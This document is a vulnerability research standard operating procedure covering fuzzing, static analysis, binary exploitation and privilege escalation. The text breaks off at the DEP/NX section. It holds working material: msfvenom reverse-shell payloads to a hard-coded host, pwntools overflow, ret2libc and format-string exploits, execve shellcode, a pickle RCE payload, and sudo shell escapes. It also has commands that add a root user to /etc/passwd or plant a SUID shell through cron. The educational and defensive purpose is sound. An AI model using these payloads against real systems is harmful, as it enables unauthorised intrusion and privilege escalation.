For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.
Vulnerability Research SOP
Table of Contents
- Overview
- Quick Reference
- Research Methodology
- Reconnaissance & Attack Surface Mapping
- Static Analysis
- Dynamic Analysis & Fuzzing
- Binary Exploitation
- Memory Corruption Vulnerabilities
- Logic Vulnerabilities
- Race Conditions
- Privilege Escalation
- Exploit Development
- Exploit Mitigations & Bypasses
- CVE Process & Disclosure
- Bug Bounty Programs
- 0-Day Research Ethics
- Tools Reference
- Legal & Ethical Considerations
Overview
Purpose: Comprehensive guide for discovering, analyzing, and responsibly disclosing security vulnerabilities in software and systems.
Scope:
- Vulnerability identification methodologies
- Binary exploitation techniques
- Fuzzing and dynamic analysis
- Memory corruption and logic vulnerabilities
- Exploit development
- Responsible disclosure processes
- CVE assignment and publication
Prerequisites:
- Understanding of programming (C/C++, Python, Assembly)
- Knowledge of operating system internals
- Familiarity with debugging tools
- Understanding of exploitation mitigations
Related SOPs:
Reverse-Engineering.md- Binary analysis and disassemblyWeb-Application-Security.md- Web vulnerability researchCryptography-Analysis.md- Cryptographic vulnerability analysisFirmware-Reverse-Engineering.md- Embedded device vulnerabilities
Quick Reference
Vulnerability Categories
| Category | Impact | Common Vectors |
|---|---|---|
| Memory Corruption | Critical | Buffer overflow, use-after-free, heap overflow |
| Injection | Critical | SQL injection, command injection, XXE |
| Authentication Bypass | Critical | Logic flaws, weak crypto, session issues |
| Privilege Escalation | Critical | Kernel bugs, SUID binaries, misconfigurations |
| Information Disclosure | Medium-High | Memory leaks, verbose errors, directory traversal |
| Denial of Service | Medium | Resource exhaustion, null pointer dereference |
| Logic Flaws | Variable | Race conditions, business logic bypass |
Critical Commands
# Fuzzing with AFL++
afl-fuzz -i input_corpus/ -o findings/ -- ./target_binary @@
# Debugging with GDB
gdb -q ./target_binary
> run $(python3 -c 'print("A"*100)')
# Find SUID binaries (privilege escalation)
find / -perm -4000 -type f 2>/dev/null
# Binary security analysis
checksec --file=./binary
# Kernel exploit compilation
gcc -o exploit exploit.c -static -lpthread
# Generate shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
Common Exploit Patterns
# Buffer overflow exploit template
payload = b"A" * offset # Padding to EIP/RIP
payload += p64(gadget_address) # ROP gadget
payload += p64(shellcode_address) # Shellcode location
# Format string exploit
payload = b"%x " * 20 # Leak stack values
payload = b"%7$s" + p64(address) # Read arbitrary memory
# Use-after-free exploit
# 1. Allocate object
# 2. Free object
# 3. Allocate controlled data in same location
# 4. Trigger use of freed object
Research Methodology
Vulnerability Discovery Process
1. Target Selection:
# Choose research target based on:
# - Attack surface (network services, parsers, browsers)
# - Complexity (more code = more bugs)
# - Impact (kernel, authentication, crypto)
# - Accessibility (open-source vs. closed-source)
# Examples of high-value targets:
# - Web browsers (Chrome, Firefox, Safari)
# - Operating system kernels (Linux, Windows, macOS)
# - Network services (SSH, HTTP servers, DNS)
# - File parsers (PDF, image formats, office documents)
# - Hypervisors (VMware, VirtualBox, Hyper-V)
2. Information Gathering:
# Collect information about target
# - Version numbers
# - Build configuration
# - Dependencies
# - Previous vulnerabilities (CVE database)
# - Patch history
# Check existing CVEs
searchsploit openssh 7.4
cve search --product openssh --version 7.4
# GitHub security advisories
https://github.com/advisories?query=product:openssh
# National Vulnerability Database
https://nvd.nist.gov/
3. Attack Surface Analysis:
# Identify entry points:
# - Network ports and protocols
# - File parsers
# - User input handling
# - IPC mechanisms
# - API endpoints
# Example: Web server attack surface
nmap -sV -sC -p- target.com
# - HTTP/HTTPS (80, 443)
# - Admin panels
# - File upload functionality
# - API endpoints
# - WebSocket connections
4. Code Review (if source available):
# Search for dangerous functions
grep -r "strcpy\|strcat\|sprintf\|gets" source_code/
grep -r "memcpy\|strncpy\|strncat" source_code/
grep -r "malloc\|free\|realloc" source_code/
# Look for common patterns
# - Unbounded loops
# - Integer overflows
# - Missing input validation
# - Race conditions (TOCTOU)
# - Improper error handling
5. Binary Analysis (if closed-source):
# Reverse engineer binary (see Reverse-Engineering.md)
# - Disassembly with IDA Pro, Ghidra, Binary Ninja
# - Identify vulnerabilities in assembly
# - Reconstruct high-level logic
6. Fuzzing (automated testing):
# Generate test cases to trigger crashes
# - AFL++, LibFuzzer, Honggfuzz
# - Coverage-guided fuzzing
# - Mutation-based fuzzing
# - Generation-based fuzzing (grammar)
7. Vulnerability Confirmation:
# Reproduce crash reliably
# Analyze crash (debugger, core dump)
# Determine exploitability
# Develop proof-of-concept exploit
8. Responsible Disclosure:
# Report to vendor
# Wait for patch development
# Coordinate public disclosure
# Request CVE assignment
Reconnaissance & Attack Surface Mapping
Network Service Enumeration
# Full port scan
nmap -p- --min-rate 10000 -T4 target.com -oN nmap_all_ports.txt
# Service version detection
nmap -sV -sC -p 21,22,80,443,3306,8080 target.com -oN nmap_services.txt
# Vulnerability scanning
nmap --script vuln -p 80,443 target.com
# Banner grabbing
nc -v target.com 80
HEAD / HTTP/1.0
# SSL/TLS version enumeration
nmap --script ssl-enum-ciphers -p 443 target.com
Application Fingerprinting
# Web server fingerprinting
whatweb -v target.com
wafw00f target.com # WAF detection
# CMS detection
wpscan --url http://target.com # WordPress
droopescan scan drupal -u http://target.com # Drupal
# Technology stack
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version headers
# JavaScript frameworks
retire --js --jspath http://target.com
# Check robots.txt and sitemap
curl http://target.com/robots.txt
curl http://target.com/sitemap.xml
Binary Surface Analysis
# List imported functions (potential attack surface)
objdump -T ./binary | grep -E "strcpy|memcpy|system|exec"
# Radare2 analysis
r2 -A ./binary
> afl # List functions
> ii # List imports
> iz # List strings
# Identify file parsers
strings ./binary | grep -i "png\|jpg\|pdf\|xml"
# Network-related functions
strings ./binary | grep -i "socket\|connect\|recv\|send"
Static Analysis
Source Code Analysis
Manual code review - dangerous patterns:
// ❌ Buffer overflow - unbounded copy
char buffer[64];
strcpy(buffer, user_input); // No length check!
// ✅ Safe version
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ❌ Format string vulnerability
printf(user_input); // User controls format string!
// ✅ Safe version
printf("%s", user_input);
// ❌ Integer overflow
int size = user_size;
char *buf = malloc(size); // What if user_size is negative or huge?
memcpy(buf, data, size);
// ✅ Safe version
if (user_size <= 0 || user_size > MAX_SIZE) {
return -1;
}
size_t size = (size_t)user_size;
char *buf = malloc(size);
// ❌ Use-after-free
free(ptr);
ptr->field = value; // Use after free!
// ✅ Safe version
free(ptr);
ptr = NULL;
Common vulnerability patterns:
// Integer overflow leading to buffer overflow
void vulnerable(int count) {
char *buffer = malloc(count * sizeof(int)); // count * 4 can overflow!
if (!buffer) return;
for (int i = 0; i < count; i++) {
((int*)buffer)[i] = get_data(); // Heap overflow if count * 4 wrapped
}
}
// Time-of-check to time-of-use (TOCTOU)
if (access("/tmp/file", W_OK) == 0) { // Check
// Attacker can replace /tmp/file with symlink here!
FILE *f = fopen("/tmp/file", "w"); // Use
}
// Race condition
if (global_counter < MAX) { // Thread 1 checks
// Thread 2 can increment here
global_counter++; // Thread 1 increments (can exceed MAX)
}
// SQL injection (interpreted language)
query = "SELECT * FROM users WHERE username='" + user_input + "'"
# user_input = "admin' OR '1'='1" → authentication bypass
Automated Static Analysis
Cppcheck (C/C++):
# Install
sudo apt install cppcheck
# Basic scan
cppcheck --enable=all --inconclusive source_code/
# Specific checks
cppcheck --enable=warning,performance,portability source_code/
# XML output for further analysis
cppcheck --xml --xml-version=2 source_code/ 2> report.xml
Semgrep (multi-language):
# Install
pip install semgrep
# Scan with default rules
semgrep --config=auto source_code/
# Security-focused scan
semgrep --config=p/security-audit source_code/
# OWASP Top 10 rules
semgrep --config=p/owasp-top-ten source_code/
# Custom rule example (detect dangerous strcpy)
cat > strcpy_rule.yaml << 'EOF'
rules:
- id: dangerous-strcpy
pattern: strcpy($DST, $SRC)
message: Unsafe strcpy detected - use strncpy instead
languages: [c, cpp]
severity: WARNING
EOF
semgrep --config=strcpy_rule.yaml source_code/
Clang Static Analyzer:
# Analyze during build
scan-build make
# Specific file
clang --analyze vulnerable.c
FlawFinder (C/C++):
# Install
sudo apt install flawfinder
# Scan source code
flawfinder source_code/
# Minimum risk level
flawfinder --minlevel=4 source_code/
# HTML report
flawfinder --html source_code/ > report.html
Dynamic Analysis & Fuzzing
Fuzzing Fundamentals
Types of fuzzing:
- Mutation-based - Mutate existing valid inputs
- Generation-based - Generate inputs from grammar/specification
- Coverage-guided - Use code coverage feedback to guide input generation
- Symbolic execution - Explore program paths systematically
AFL++ (American Fuzzy Lop)
Installation:
# Linux
sudo apt install afl++
# Or build from source
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus
make
sudo make install
Compile target for fuzzing:
# Instrument binary with AFL++ compiler
afl-gcc -o target_fuzz target.c
# Or with additional sanitizers
AFL_USE_ASAN=1 afl-gcc -o target_fuzz target.c # AddressSanitizer
AFL_USE_UBSAN=1 afl-gcc -o target_fuzz target.c # UndefinedBehaviorSanitizer
AFL_USE_MSAN=1 afl-clang -o target_fuzz target.c # MemorySanitizer
Prepare input corpus:
# Create directory with seed inputs
mkdir input_corpus
echo "valid input 1" > input_corpus/input1.txt
echo "another valid input" > input_corpus/input2.txt
# For binary formats, use valid files
cp valid_image.png input_corpus/
cp valid_pdf.pdf input_corpus/
Run fuzzer:
# Basic fuzzing
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz @@
# Explanation:
# -i input_corpus/ : Input directory with seed files
# -o findings/ : Output directory for crashes/hangs
# @@ : Replaced with fuzzer-generated filename
# Multiple fuzzers in parallel (recommended)
# Master fuzzer
afl-fuzz -i input_corpus/ -o findings/ -M fuzzer01 -- ./target_fuzz @@
# Slave fuzzers (in separate terminals)
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer02 -- ./target_fuzz @@
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer03 -- ./target_fuzz @@
# For stdin input (no @@)
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz
# With custom dictionary
afl-fuzz -i input_corpus/ -o findings/ -x dictionary.txt -- ./target_fuzz @@
Dictionary example (for format-aware fuzzing):
# dictionary.txt - PDF format
keyword_obj="obj"
keyword_endobj="endobj"
keyword_stream="stream"
keyword_endstream="endstream"
keyword_PDF="%PDF-"
magic_header="%PDF-1.4"
Analyze results:
# Check fuzzer status
# Key metrics:
# - execs/s: Executions per second (higher = better)
# - unique crashes: Number of unique crash signatures
# - unique hangs: Number of unique timeouts
# Reproduce crash
./target_fuzz findings/crashes/id:000000,sig:11,src:000000,op:havoc,rep:16
# Triage crashes
afl-collect -r -d findings/crashes/ crash_analysis/
# Minimize crash input
afl-tmin -i findings/crashes/id:000000 -o minimal_crash -- ./target_fuzz @@
# Symbolically link unique crashes
afl-whatsup findings/
LibFuzzer (LLVM)
Compile with LibFuzzer:
# Create fuzzing harness
cat > fuzz_target.c << 'EOF'
#include <stdint.h>
#include <stddef.h>
// Fuzzing entry point
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
// Call target function with fuzzer-provided data
if (size > 0) {
process_input(data, size);
}
return 0;
}
EOF
# Compile with clang
clang -g -fsanitize=fuzzer,address -o fuzz_target fuzz_target.c target.c
Run fuzzer:
# Basic fuzzing
./fuzz_target corpus/
# With options
./fuzz_target corpus/ -max_len=4096 -timeout=1 -rss_limit_mb=2048
# Merge corpora
./fuzz_target -merge=1 merged_corpus/ corpus1/ corpus2/
# Minimize corpus
./fuzz_target -merge=1 minimized_corpus/ full_corpus/
Honggfuzz
# Install
sudo apt install honggfuzz
# Run fuzzer
honggfuzz -i input_corpus/ -o output_dir/ -- ./target_binary ___FILE___
# With persistent mode (faster)
honggfuzz -i input_corpus/ -P -- ./target_binary
Network Protocol Fuzzing
Boofuzz framework:
from boofuzz import *
# Define session
session = Session(target=Target(connection=SocketConnection("192.168.1.100", 8080)))
# Define protocol
s_initialize("HTTP Request")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/index.html") # Fuzzable field
s_delim(" ", fuzzable=False)
s_string("HTTP/1.1", fuzzable=False)
s_delim("\r\n", fuzzable=False)
s_string("Host:")
s_delim(" ", fuzzable=False)
s_string("localhost")
s_static("\r\n\r\n")
# Start fuzzing
session.connect(s_get("HTTP Request"))
session.fuzz()
Radamsa (mutation-based fuzzer):
# Install
sudo apt install radamsa
# Generate mutated inputs
cat valid_input.bin | radamsa -n 1000 -o output_%n.bin
# Fuzz in loop
while true; do
radamsa input.txt > fuzzed.txt
./target_binary fuzzed.txt
done
Binary Exploitation
Crash Analysis
Analyzing crashes with GDB:
# Run program in GDB
gdb ./vulnerable_binary
# Set breakpoints
(gdb) break main
(gdb) break vulnerable_function
# Run with input
(gdb) run $(python3 -c 'print("A"*200)')
# After crash, examine registers
(gdb) info registers
# Look for:
# RIP/EIP = 0x4141414141414141 (overwritten instruction pointer)
# Examine stack
(gdb) x/100x $rsp
(gdb) x/100x $rbp
# Backtrace
(gdb) bt
# Examine memory at address
(gdb) x/s 0x7fffffffe000
# Find offset to EIP/RIP
(gdb) pattern create 200
(gdb) run [pattern]
# After crash:
(gdb) pattern offset $rip
GEF (GDB Enhanced Features):
# Install GEF
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Launch GDB with GEF
gdb -q ./binary
# GEF commands
gef> checksec # Check binary protections
gef> vmmap # Memory mappings
gef> search-pattern "AAAA"
gef> ropper # ROP gadget search
gef> heap chunks # Heap analysis
Core dump analysis:
# Enable core dumps
ulimit -c unlimited
# Run program (will create core dump on crash)
./vulnerable_binary $(python3 -c 'print("A"*200)')
# Analyze core dump
gdb ./vulnerable_binary core
# Examine crash state
(gdb) bt
(gdb) info registers
(gdb) x/100x $rsp
Determining Exploitability
EXPLOITABLE GDB plugin:
# Install
git clone https://github.com/jfoote/exploitable.git
echo "source ~/exploitable/exploitable/exploitable.py" >> ~/.gdbinit
# Use in GDB
gdb ./binary
(gdb) run $(python3 -c 'print("A"*200)')
(gdb) exploitable
# Output:
# Description: Access violation during branch instruction
# Exploitability: EXPLOITABLE
Manual exploitability assessment:
1. Control of EIP/RIP?
- Can you redirect execution?
- YES → Highly exploitable
2. Control of data written?
- Can you control what is written where?
- YES (write-what-where) → Exploitable
3. Information leak?
- Can you leak addresses (bypass ASLR)?
- Can you leak stack canary?
4. Heap corruption?
- Use-after-free?
- Double-free?
- Heap overflow?
5. Available gadgets?
- ROP gadgets for exploitation?
- System calls available?
Memory Corruption Vulnerabilities
Buffer Overflow
Stack buffer overflow:
// Vulnerable code
void vulnerable_function(char *user_input) {
char buffer[64];
strcpy(buffer, user_input); // No bounds checking
printf("Input: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
Exploitation:
from pwn import *
# Find offset to return address
offset = 72 # Determined via pattern_create/pattern_offset
# Craft exploit
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(0x401234) # Overwrite return address
# Send payload
p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()
Finding offset with pwntools:
from pwn import *
# Generate cyclic pattern
pattern = cyclic(200)
# Run program
p = process("./vulnerable_binary")
p.sendline(pattern)
p.wait()
# Get core dump
core = p.corefile
# Find offset
offset = cyclic_find(core.read(core.rsp, 8))
print(f"Offset: {offset}")
Heap Exploitation
Use-After-Free (UAF):
// Vulnerable code
struct User {
char name[32];
void (*print_user)(struct User *);
};
void print_user_info(struct User *u) {
printf("User: %s\n", u->name);
}
struct User *user = malloc(sizeof(struct User));
user->print_user = print_user_info;
strcpy(user->name, "Alice");
free(user); // Free user object
// Later... (user pointer still used)
user->print_user(user); // Use-after-free! Function pointer may be attacker-controlled
Exploitation strategy:
# 1. Trigger allocation of object
create_user("Alice")
# 2. Free object
delete_user(0)
# 3. Allocate attacker-controlled data in same location
# (spray heap with controlled data)
for i in range(100):
create_note(p64(system_address) + b"/bin/sh\x00")
# 4. Trigger use of freed object
view_user(0) # Calls function pointer → system("/bin/sh")
Heap overflow:
// Vulnerable code
struct Chunk {
size_t size;
char data[128];
struct Chunk *next;
};
void process_data(struct Chunk *chunk, char *user_input, size_t len) {
memcpy(chunk->data, user_input, len); // No bounds check on len!
}
Exploitation (overwrite next pointer):
# Overflow to overwrite 'next' pointer
payload = b"A" * 128 # Fill data field
payload += p64(0x123) # Overwrite size
payload += p64(target_address) # Overwrite next pointer
# When next chunk is processed, writes to target_address
Double-free:
// Vulnerable code
free(ptr);
free(ptr); // Double-free!
Exploitation:
# Double-free allows heap metadata corruption
# Can lead to:
# - Arbitrary write primitive
# - Overlapping chunks
# - Code execution
Format String Vulnerability
Vulnerable code:
void vulnerable(char *user_input) {
printf(user_input); // User controls format string!
}
Information leak:
# Leak stack values
payload = b"%x " * 20 # Dump 20 stack values
# Leak specific address
payload = b"%7$s" + p64(address) # Read string at 'address'
# Leak program base (bypass PIE)
payload = b"%13$p" # Leak return address from stack
Arbitrary write:
# Write to arbitrary address using %n
# %n writes number of bytes printed so far to address
target_address = 0x601234
value_to_write = 0x1234
payload = p64(target_address) # Address to write to
payload += b"%{}x".format(value_to_write - 8).encode() # Print correct number of bytes
payload += b"%7$n" # Write to 7th stack argument (our address)
Exploitation example:
from pwn import *
# Overwrite GOT entry to redirect execution
got_address = 0x601018 # printf@GOT
system_address = 0x7ffff7a52390
payload = p64(got_address)
payload += b"%{}x".format((system_address & 0xFFFF) - 8).encode()
payload += b"%7$hn" # Write lower 2 bytes
p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()
Integer Overflow
Vulnerable code:
void process_image(int width, int height, char *image_data) {
int size = width * height; // Integer overflow!
if (size < 0) {
return; // Insufficient check
}
char *buffer = malloc(size);
memcpy(buffer, image_data, size); // Heap overflow
}
// Exploit: width=0x10000, height=0x10000
// size = 0x100000000 (wraps to 0 in 32-bit)
Detection patterns:
// Unsafe arithmetic
int total = user_value1 + user_value2; // Can overflow
int size = count * sizeof(struct); // Can overflow
// Safe version
if (user_value1 > INT_MAX - user_value2) {
// Overflow would occur
return -1;
}
// Or use compiler builtins
int result;
if (__builtin_add_overflow(a, b, &result)) {
// Overflow occurred
}
Logic Vulnerabilities
Authentication Bypass
Common patterns:
# SQL injection in authentication
username = "admin' --"
password = "anything"
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
# Result: SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
# Password check is commented out!
# Boolean logic error
def check_password(username, password):
user = db.query(f"SELECT * FROM users WHERE username='{username}'")
if user and password: # ❌ Should check password == user.password
return True
return False
# Timing attack on comparison
def verify_token(provided_token):
expected_token = get_secret_token()
for i in range(len(expected_token)):
if provided_token[i] != expected_token[i]:
return False # Returns early → timing leak
return True
Business Logic Flaws
Price manipulation:
# Vulnerable checkout process
def checkout(cart_items):
total = 0
for item in cart_items:
total += item['price'] * item['quantity'] # Client-provided price!
charge_customer(total)
# Exploit: Set price to negative value
cart = [
{'item_id': 123, 'price': -100.00, 'quantity': 1},
{'item_id': 456, 'price': 50.00, 'quantity': 1}
]
# Total: -100 + 50 = -50 (customer gets paid!)
Race condition in balance check:
# Vulnerable transfer function
def transfer(from_account, to_account, amount):
if get_balance(from_account) >= amount: # Check
# Race window here!
deduct_balance(from_account, amount) # Use
add_balance(to_account, amount)
else:
raise InsufficientFunds
# Exploit: Send multiple concurrent transfer requests
# Both pass balance check before first deduction
Insecure Deserialization
Python pickle vulnerability:
import pickle
import os
# Malicious payload
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
# Serialize
payload = pickle.dumps(Exploit())
# Vulnerable code
pickle.loads(payload) # Executes os.system('whoami')!
PHP unserialize vulnerability:
<?php
class User {
public $isAdmin = false;
public function __wakeup() {
if ($this->isAdmin) {
include('/flag.txt');
}
}
}
// Vulnerable code
$user = unserialize($_GET['data']);
// Exploit: ?data=O:4:"User":1:{s:7:"isAdmin";b:1;}
?>
Race Conditions
TOCTOU (Time-of-Check to Time-of-Use)
Vulnerable code:
// Check if file exists and is writable
if (access("/tmp/myfile", W_OK) == 0) { // Time-of-Check
// Attacker can replace /tmp/myfile with symlink to /etc/passwd here!
FILE *f = fopen("/tmp/myfile", "w"); // Time-of-Use
fprintf(f, "data");
fclose(f);
}
Exploitation:
#!/bin/bash
# Create race condition exploit
# In one terminal: Run vulnerable program repeatedly
while true; do
./vulnerable_program
done
# In another terminal: Replace file with symlink rapidly
while true; do
rm -f /tmp/myfile
touch /tmp/myfile
rm -f /tmp/myfile
ln -s /etc/passwd /tmp/myfile
done
# Eventually vulnerable program will open /etc/passwd for writing
File system race conditions:
// Vulnerable: Check then create
if (stat("/tmp/logfile", &st) == -1) { // Check if doesn't exist
// Race window
FILE *f = fopen("/tmp/logfile", "w"); // Create
}
// Secure: Open with O_CREAT | O_EXCL
int fd = open("/tmp/logfile", O_CREAT | O_EXCL | O_WRONLY, 0600);
if (fd == -1) {
// File already exists
}
Multi-threaded Race Conditions
Vulnerable code:
int balance = 1000;
void withdraw(int amount) {
if (balance >= amount) { // Thread 1 checks
// Thread 2 can also check here
usleep(100); // Simulate processing
balance -= amount; // Both threads withdraw
}
}
// Two threads call withdraw(800) concurrently
// Both pass check, balance becomes -600!
Exploitation:
import threading
def exploit():
# Send multiple withdrawal requests concurrently
threads = []
for i in range(10):
t = threading.Thread(target=lambda: withdraw(800))
threads.append(t)
t.start()
for t in threads:
t.join()
# Balance is now negative (double-spending)
Detection with ThreadSanitizer:
# Compile with TSan
clang -fsanitize=thread -g -o program program.c
# Run
./program
# Output will show race conditions:
# WARNING: ThreadSanitizer: data race
Privilege Escalation
Linux Privilege Escalation
SUID binary exploitation:
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Common exploitable SUID binaries:
# - Custom binaries with vulnerabilities
# - Misconfigured system utilities
# Example: SUID binary with buffer overflow
/usr/local/bin/custom_tool $(python3 -c 'print("A"*200 + shellcode)')
Kernel exploits:
# Check kernel version
uname -a
# Search for kernel exploits
searchsploit linux kernel 4.4.0
# Common kernel exploits:
# - Dirty COW (CVE-2016-5195)
# - DirtyCred (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)
# Example: Dirty COW exploitation
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
# Overwrites /etc/passwd to add root user
Sudo misconfigurations:
# Check sudo privileges
sudo -l
# Exploitable patterns:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'
# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit
# (ALL) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/sh")'
# GTFOBins for sudo escape techniques:
# https://gtfobins.github.io/
Writable /etc/passwd:
# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable, add root user
openssl passwd -1 -salt salt password123
echo 'hacker:$1$salt$qMKkPP7L3pKrLwBJgmGVH.:0:0::/root:/bin/bash' >> /etc/passwd
# Login as root
su hacker
# Password: password123
Cron job abuse:
# Check for writable cron jobs
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
cat /etc/crontab
# If script run by root is writable
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash' >> /usr/local/bin/backup.sh
echo 'chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
# Wait for cron to execute
# Then:
/tmp/rootbash -p
Windows Privilege Escalation
Common vectors:
# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# Exploitable if path contains spaces:
# C:\Program Files\My Service\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe
# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both are 1, can install MSI as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
# Weak service permissions
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
# If service binary is writable, replace with malicious binary
sc stop vulnerable_service
move C:\Path\To\service.exe C:\Path\To\service.exe.bak
copy payload.exe C:\Path\To\service.exe
sc start vulnerable_service
Token impersonation:
# Check for SeImpersonatePrivilege
whoami /priv
# If enabled, use JuicyPotato/RoguePotato
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {CLSID}
Exploit Development
Shellcode Development
Linux x64 execve("/bin/sh") shellcode:
; execve("/bin/sh", NULL, NULL)
global _start
section .text
_start:
xor rax, rax
push rax ; NULL terminator
mov rbx, 0x68732f6e69622f ; "/bin/sh" in reverse
push rbx
mov rdi, rsp ; rdi = pointer to "/bin/sh"
push rax ; argv[1] = NULL
push rdi ; argv[0] = "/bin/sh"
mov rsi, rsp ; rsi = argv
xor rdx, rdx ; rdx = NULL (envp)
mov al, 59 ; syscall number for execve
syscall
Assemble and extract shellcode:
# Assemble
nasm -f elf64 shellcode.asm -o shellcode.o
# Link
ld shellcode.o -o shellcode
# Extract shellcode bytes
objdump -d shellcode -M intel
# Or use objcopy
objcopy -O binary shellcode shellcode.bin
xxd -p shellcode.bin | tr -d '\n'
Test shellcode:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
int main() {
printf("Shellcode length: %lu\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Compile and run:
# Disable protections for testing
gcc -z execstack -fno-stack-protector -o test_shellcode test_shellcode.c
./test_shellcode
# Should spawn shell
Msfvenom shellcode generation:
# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Windows x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Encode shellcode (bypass bad characters)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f c
# Bind shell
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f c
ROP (Return-Oriented Programming)
Finding ROP gadgets:
# ROPgadget
ROPgadget --binary ./vulnerable_binary > gadgets.txt
# Search for specific gadgets
ROPgadget --binary ./vulnerable_binary --only "pop|ret"
# Ropper
ropper --file ./vulnerable_binary --search "pop rdi"
# radare2
r2 -A ./vulnerable_binary
> /R pop rdi
Basic ROP chain (call system("/bin/sh")):
from pwn import *
# Binary info
elf = ELF('./vulnerable_binary')
rop = ROP(elf)
# Gadgets
pop_rdi = 0x401234 # pop rdi; ret
bin_sh = 0x402000 # Address of "/bin/sh" string
system_addr = elf.plt['system']
# Build ROP chain
payload = b"A" * offset
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh) # rdi = "/bin/sh"
payload += p64(system_addr) # call system
# Send exploit
p = process('./vulnerable_binary')
p.sendline(payload)
p.interactive()
ret2libc attack:
from pwn import *
# Leak libc address
elf = ELF('./vulnerable_binary')
rop = ROP(elf)
# Stage 1: Leak libc address
pop_rdi = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(puts_got) # puts(puts@GOT) → leak address
payload += p64(puts_plt)
payload += p64(main_addr) # Return to main
p = process('./vulnerable_binary')
p.sendline(payload)
# Receive leaked address
p.recvuntil(b"Input: ")
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")
# Calculate libc base
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libc.address)}")
# Stage 2: Call system with libc address
bin_sh = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']
payload2 = b"A" * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
Heap Exploitation Techniques
House of Force:
# Exploit malloc() by corrupting top chunk size
# 1. Overflow into top chunk, set size to -1 (0xffffffffffffffff)
# 2. Calculate offset to target address
# 3. Allocate large chunk to move top chunk to target
# 4. Next allocation writes to target address
Fastbin dup:
# Exploit double-free in fastbins
# 1. Allocate three chunks: A, B, C
# 2. Free A, B, A (double-free A)
# 3. Fastbin: A → B → A (circular)
# 4. Allocate and control A again
# 5. Overwrite fd pointer of A to target address
# 6. Allocate until target is returned
Tcache poisoning:
# Similar to fastbin dup but with tcache
# Tcache has less security checks
# 1. Double-free into tcache
# 2. Overwrite next pointer
# 3. Allocate to get arbitrary write
Exploit Mitigations & Bypasses
Stack Canaries
Detection:
checksec --file=./binary
# Output:
# Canary: Canary found
Bypass techniques:
- Information leak: Leak canary value before overwriting
- Brute-force: Single-byte brute-force on 64-bit (256 attempts)
- Fork without re-randomization: Some daemons don't regenerate canary
Brute-force example:
from pwn import *
canary = b''
# Brute-force one byte at a time
for i in range(8):
for byte_val in range(256):
p = process('./vulnerable_binary')
payload = b"A" * offset
payload += canary + bytes([byte_val])
p.sendline(payload)
response = p.recvall()
if b"stack smashing detected" not in response:
canary += bytes([byte_val])
log.info(f"Canary byte {i}: {hex(byte_val)}")
break
p.close()
log.success(f"Full canary: {canary.hex()}")
DEP/NX (Data Execution Prevention)
Detection:
checksec --file=./binary
# Output:
